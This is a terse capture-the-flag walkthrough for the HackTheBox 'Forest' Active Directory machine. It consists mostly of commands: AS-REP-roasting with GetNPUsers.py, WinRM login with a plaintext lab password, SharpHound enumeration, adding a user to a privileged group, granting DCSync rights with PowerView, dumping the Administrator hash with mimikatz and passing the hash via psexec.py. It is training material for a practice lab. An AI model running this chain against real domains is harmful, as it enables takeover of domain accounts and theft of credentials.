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Forest @ HackTheBox

Forest is a 20-point active directory machine on HackTheBox that involves user enumeration, AS-REP-Roasting and abusing Active Directory ACLs to become admin.

Notes

To route your windows vm through kali run the following commands on kali:

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sudo sysctl -w net.ipv4.ip_forward=1
sudo /sbin/iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
sudo /sbin/iptables -A FORWARD -i tun0 -o eth1 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo /sbin/iptables -A FORWARD -i eth1 -o tun0 -j ACCEPT

On Windows set the kali vm as default gateway & the target box as dns server. Make sure both vms share the same virtual network. Windows can now use the same vpn connection and you can join the windows vm to the domain.

AS-REP-Roast:

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GetNPUsers.py htb.local/svc-alfresco -dc-ip 10.10.10.161 

WinRM:

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Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*'
$user='svc-alfresco'
$pass=ConvertTo-SecureString -AsPlainText 's3rvice' -Force
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$pass
New-PSSession -URI http://forest.htb:5985/wsman -Credential $cred
Enter-PSSession <num>

Sharphound:

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sharphound.exe -c all

Add user & put into group (requires powerview):

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net user xct <pw> /add /domain
add-domaingroupmember -identity "exchange windows permissions" -members "xct"

Add DCSync rights (requires powerview):

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add-domainobjectacl -credential $cred -targetidentity "DC=htb,DC=local" -Rights DCSync

DCSync (mimikatz):

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lsadump::dcsync /domain:htb.local /user:Administrator

Pass-The-Hash:

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psexec.py -hashes :<hash> administrator@10.10.10.161
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